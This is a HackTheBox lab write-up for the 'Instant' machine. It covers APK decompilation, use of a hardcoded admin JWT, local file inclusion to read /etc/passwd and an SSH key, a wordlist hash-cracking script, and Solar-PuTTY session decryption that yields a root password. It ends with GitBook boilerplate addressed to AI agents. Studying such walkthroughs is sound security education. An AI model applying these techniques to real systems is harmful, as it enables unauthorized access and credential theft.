> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-instant.md).

# HTB - Instant

## Enumeration and Foothold

```powershell
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

browsing to port 80 revealed the domain name add it to the hosts file.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F02k6XjoeELPxR53coDSa%2Fimage.png?alt=media&amp;token=ae8e3bad-ccf8-499b-b6a7-6ee6112cdbc7" alt=""><figcaption></figcaption></figure>

### HTTP

Browsing to `http://instant.htb` shows a marketing landing page for "Instant Wallet"  a fintech app promising to "instantly send funds to any MNO, Bank, or Crypto Wallet."

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F5AxhedcF2rW3OMhg7deS%2Fimage.png?alt=media&amp;token=e7f79273-1f8c-42ed-8a01-34fc3b4b7356" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTpEQE4YaJjSJsc1Gunqi%2Fimage.png?alt=media&amp;token=62da72c1-36f8-4a79-bb44-0dbc4dfa2aee" alt=""><figcaption></figcaption></figure>

Directory brute-forcing (`gobuster`/`ffuf`) against the main site turned up **no hidden directories or subdomains.**

The site has a "Download Now!" button that pulls down the Android app. Intercepting the request in Burp confirms the download URL:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FboB8AVUHVTFN5ouoqcuY%2Fimage.png?alt=media&amp;token=53323a17-f53c-49fa-bed7-153b37f5a864" alt=""><figcaption></figcaption></figure>

lets download the apk file and investigate further.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fv8Vr8E6MRFvIGr1adgI5%2Fimage.png?alt=media&amp;token=c7033f17-6a80-4504-beab-74383a73e865" alt=""><figcaption></figcaption></figure>

i can use jadx to decompile the apk file to read.

### Decompiling the APK using JADX

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBxcAoOYcCMHaqfS65g9I%2Fimage.png?alt=media&amp;token=0c71ec10-ebd5-481e-b5b1-0ae9fc9e975d" alt=""><figcaption></figcaption></figure>

Once decompiled, search the source for hardcoded URLs, API keys, or tokens:

```powershell
──(ajay㉿kali)-[~]
└─$ grep -rniE "<http://|https>://|baseurl|api_key|apikey|secret|token" /tmp/instant_decompiled/sources/ --include=*.java | grep -v "schemas.android\|w3.org\|xmlpull\|apache.org\|square.github\|github.com/square"
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FlIShwHzu87QxHAxI6zLl%2Fimage.png?alt=media&amp;token=24321365-ecba-430e-b54f-9e0d8a0d5aac" alt=""><figcaption></figcaption></figure>

This surfaces the app's own package, `com.instantlabs.instant`, and reveals a completely separate backend host never linked from the website:

**Endpoints discovered so far:**

* `POST /api/v1/register`
* `POST /api/v1/login` → returns `Access-Token` field in JSON response
* `GET /api/v1/view/profile` (needs `Authorization` header)
* `POST /api/v1/initiate/transaction`
* `POST /api/v1/confirm/pin`

A hardcoded admin JWT sitting in `AdminActivities.java`:

```powershell
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
```

Decoding the JWT payload shows:

```
{
  "id": 1,
  "role": "Admin",
  "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
  "exp": 3325930365
}
```

An expiry timestamp that far in the future basically never invalidates  this is a hardcoded, fully-privileged admin token left in the client for testing.

Confirming it works:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWzx3MkGNJ0prPeSH66QY%2Fimage.png?alt=media&amp;token=c9dfd0ca-d409-4838-b58d-3c9661d0e49b" alt=""><figcaption></figcaption></figure>

then hit the new api directly via curl using the JWT token.

```powershell
┌──(ajay㉿kali)-[~]
└─$ curl -sv -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" <http://mywalletv1.instant.htb/api/v1/view/profile>
* Host mywalletv1.instant.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.231.155
*   Trying 10.129.231.155:80...
* Established connection to mywalletv1.instant.htb (10.129.231.155 port 80) from 10.10.14.49 port 51472 
* using HTTP/1.x
> GET /api/v1/view/profile HTTP/1.1
> Host: mywalletv1.instant.htb
> User-Agent: curl/8.20.0
> Accept: */*
> Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 06 Aug 2026 04:55:04 GMT
< Server: Werkzeug/3.0.3 Python/3.12.3
< Content-Type: application/json
< Content-Length: 236
< 
{"Profile":{"account_status":"active","email":"admin@instant.htb","invite_token":"instant_admin_inv","role":"Admin","username":"instantAdmin","wallet_balance":"10000000","wallet_id":"f0eca6e5-783a-471d-9d8f-0162cbc900db"},"Status":200}
* Connection #0 to host mywalletv1.instant.htb:80 left intact
```

The token is fully valid  confirmed admin access:

```powershell
username: instantAdmin
email: admin@instant.htb
role: Admin
wallet_id: f0eca6e5-783a-471d-9d8f-0162cbc900db
wallet_balance: 10000000
invite_token: instant_admin_inv
```

Check assets and raw resources specifically (config files, JSON, properties) which grep on sources/ alone would miss:

```powershell
┌──(ajay㉿kali)-[~]
└─$ find /tmp/instant_decompiled/resources -type f \( -iname "*.json" -o -iname "*.xml" -o -iname "*.properties" -o -iname "*.txt" \) -exec grep -l "instant.htb" {} \;
/tmp/instant_decompiled/resources/res/xml/network_security_config.xml
/tmp/instant_decompiled/resources/res/layout/activity_forgot_password.xml
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZq1IhzU0LYArrtIfRlpC%2Fimage.png?alt=media&amp;token=a46f8a88-04f7-477a-920e-6226774f86ac" alt=""><figcaption></figcaption></figure>

Add it to `/etc/hosts` and browse to it:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F13n9fDpPp6GLYpnipQMO%2Fimage.png?alt=media&amp;token=e4f1420a-f4ac-4f5f-a48b-cb4e4f4a935f" alt=""><figcaption></figcaption></figure>

This exposes a full **Flasgger**-powered Swagger UI documenting the entire API surface, including endpoints never seen in the mobile app:

* `POST /api/v1/admin/add/user` — Admin route to create a user (accepts a `role` field!)
* `GET /api/v1/admin/list/users`
* `GET /api/v1/admin/read/log` — reads a log file by name
* `GET /api/v1/admin/view/logs` — lists available logs
* ...plus all the endpoints already found in the app.

i can use the admin JWT token here to login.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgeJuYkf7p6LLDffonePU%2Fimage.png?alt=media&amp;token=2e404385-9a68-483b-90c1-8250cdacb12b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FATT44MJcaExD4tK39b4l%2Fimage.png?alt=media&amp;token=df8e8604-790b-478c-b0e5-f71e74f8fc26" alt=""><figcaption></figcaption></figure>

Querying the endpoint view logs reveals the path of the logs and the name of the log.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FB9LzxfaBRaERvhViN4cj%2Fimage.png?alt=media&amp;token=552a9a1c-da52-4ec2-acd9-9476a65db1b4" alt=""><figcaption></figcaption></figure>

using this info the querying the read logs reveals that the log\_file\_name parameter directly references the submitted log file name which could be a potential vulnerability for LFI.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXgZyH1TFiK6E3oNAKGy2%2Fimage.png?alt=media&amp;token=2ef10f04-ea3a-40d4-b1e7-c0d51a93d990" alt=""><figcaption></figcaption></figure>

i will use burpsuite to test further.

### Local File Inclusion

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FHzcBMMg7wyIHPI9uhP8F%2Fimage.png?alt=media&amp;token=7e700a1f-9afa-4b26-be7f-52bdac84acdb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FXYbFjt92PRin15WFkq8c%2Fimage.png?alt=media&amp;token=6333f518-4e86-48ae-a1ab-66e20bbbc067" alt=""><figcaption></figcaption></figure>

Key findings from `/etc/passwd`:

* **`shirohige`** — uid 1001, home `/home/shirohige`, shell `/bin/bash` → real login user, likely your SSH target.

we can try reading shirohige ssh keys.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLKUcGtZrAcAC6b3jUCQ8%2Fimage.png?alt=media&amp;token=f130e071-fb8d-4f77-84e4-bd91b19518a0" alt=""><figcaption></figcaption></figure>

copy the key locally and login as shirohige

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fdm2AMCh78bgQMRCSK93A%2Fimage.png?alt=media&amp;token=006d9b79-7d3a-4784-b611-55ef4a1a6b8b" alt=""><figcaption></figcaption></figure>

## Shell as Shirohige

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F8gsHPD1OKPeRzm5ErHoA%2Fimage.png?alt=media&amp;token=ec0a4f84-c384-405f-a259-47fd190d55c7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fch147K1ryCvriccWU0xv%2Fimage.png?alt=media&amp;token=6cd2a7e7-32f6-4e68-814a-9b956fe0847d" alt=""><figcaption></figcaption></figure>

```powershell
shirohige@instant:~$ find ~/projects/mywallet -iname "*.db" -o -iname "*.sqlite*" -o -iname "*.env" -o -iname "config*"
/home/shirohige/projects/mywallet/Instant-Api/mywallet/.env
/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/configuration.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/commands/configuration.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/commands/__pycache__/configuration.cpython-312.pyc
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/pip/_internal/__pycache__/configuration.cpython-312.pyc
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/config.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/__pycache__/config.cpython-312.pyc
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/sqlalchemy/testing/config.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/sqlalchemy/testing/__pycache__/config.cpython-312.pyc
```

found a database file called instant.db

sqlite3 is not installed on the machine so i can use python to enumerate

### Enumerating SQLite database using Python

```powershell
shirohige@instant:~$ which sqlite3 || python3 -c "import sqlite3; c=sqlite3.connect('/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db'); cur=c.cursor(); cur.execute(\"SELECT name FROM sqlite_master WHERE type='table';\"); print(cur.fetchall())"
[('wallet_users',), ('wallet_wallets',), ('wallet_transactions',)]
```

```powershell
shirohige@instant:~$ python3 -c "
import sqlite3
c = sqlite3.connect('/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db')
cur = c.cursor()
cur.execute('SELECT * FROM wallet_users;')
for row in cur.fetchall():
    print(row)
"
(1, 'instantAdmin', 'admin@instant.htb', 'f0eca6e5-783a-471d-9d8f-0162cbc900db', 'pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978', '2024-07-23 00:20:52.529887', 87348, 'Admin', 'active')
(2, 'shirohige', 'shirohige@instant.htb', '458715c9-b15e-467b-8a3d-97bc3fcf3c11', 'pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed', '2024-08-08 20:57:47.909667', 42845, 'instantian', 'active')
shirohige@instant:~$ 

```

### Werzeug pbkdf3 hash crack

used a custom code created by ai to crack the hash

```powershell
──(ajay㉿kali)-[~]
└─$ cat > /tmp/crack.py << 'EOF'
from werkzeug.security import check_password_hash

target_hash = "pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed"

wordlist = "/usr/share/wordlists/rockyou.txt"

with open(wordlist, encoding="latin-1") as f:
    for i, line in enumerate(f):
        pw = line.strip()
        if check_password_hash(target_hash, pw):
            print(f"FOUND: {pw}")
            break
        if i % 5000 == 0:
            print(f"...tried {i} ({pw})")
EOF
python3 /tmp/crack.py
...tried 0 (123456)
FOUND: estrella

```

Cracking the password did not help much.

Further enumeration of the filesystem turned up a backup directory:

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FroiAJBOX7NhsvZ1BJjbL%2Fimage.png?alt=media&amp;token=bb36a946-daef-4320-8016-df6bb36a9281" alt=""><figcaption></figcaption></figure>

`sessions-backup.dat` is a **Solar-PuTTY** exported sessions file. Solar-PuTTY (SolarWinds' free PuTTY alternative) stores saved SSH/RDP sessions along with encrypted credentials — and its encryption scheme is well-documented and crackable offline with public tools.

### Solar putty backup file decrypt

download the file locally

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfAYH2QMQu96wm5pgFqAZ%2Fimage.png?alt=media&amp;token=67bd5f66-13bf-44ab-a0ca-d6dc959eef47" alt=""><figcaption></figcaption></figure>

```powershell
┌──(ajay㉿kali)-[~]
└─$ git clone <https://github.com/Dimont-Gattsu/SolarPuttyDecrypterPy.git>
Cloning into 'SolarPuttyDecrypterPy'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (48/48), done.
remote: Total 50 (delta 17), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (50/50), 19.88 KiB | 753.00 KiB/s, done.
Resolving deltas: 100% (17/17), done.
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ cd SolarPuttyDecrypterPy 
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~/SolarPuttyDecrypterPy]
└─$ python3 decrypt2.py ../sessions-backup.dat /usr/share/wordlists/rockyou.txt
-----------------------------------------------------
SolarPutty's Sessions Decrypter (Python Version)
-----------------------------------------------------
File content (first 50 bytes): b'ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJw'
Trying password: estrellaal
Potential successful decryption with password: estrella
Decrypted content (first 200 bytes):
b'\xacuY\xff\x11\xfbD\xba\xb3\xe2\xc8\x80pB\xbe\xceU\xed;\x8f)\x10\xb5Ins":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b'

[+] DONE Decrypted file is saved in: SolarPutty_sessions_decrypted_estrella.bin
Continue trying other passwords? (y/n): n

```

```powershell
┌──(ajay㉿kali)-[~/SolarPuttyDecrypterPy]
└─$ cat SolarPutty_sessions_decrypted_estrella.bin
�uY��D���ȀpB��U�;�)�Ins":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12**24nzC!r0c%q12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"}  
```

root password is in the session file : `12**24nzC!r0c%q12`

## Shell as Root

ssh to root do not work but su from shirohige user works

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FOoKb5gWp9YWaMEw5b2jY%2Fimage.png?alt=media&amp;token=832188a5-2cb7-4d18-81d8-3b5c79dca32d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-instant.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
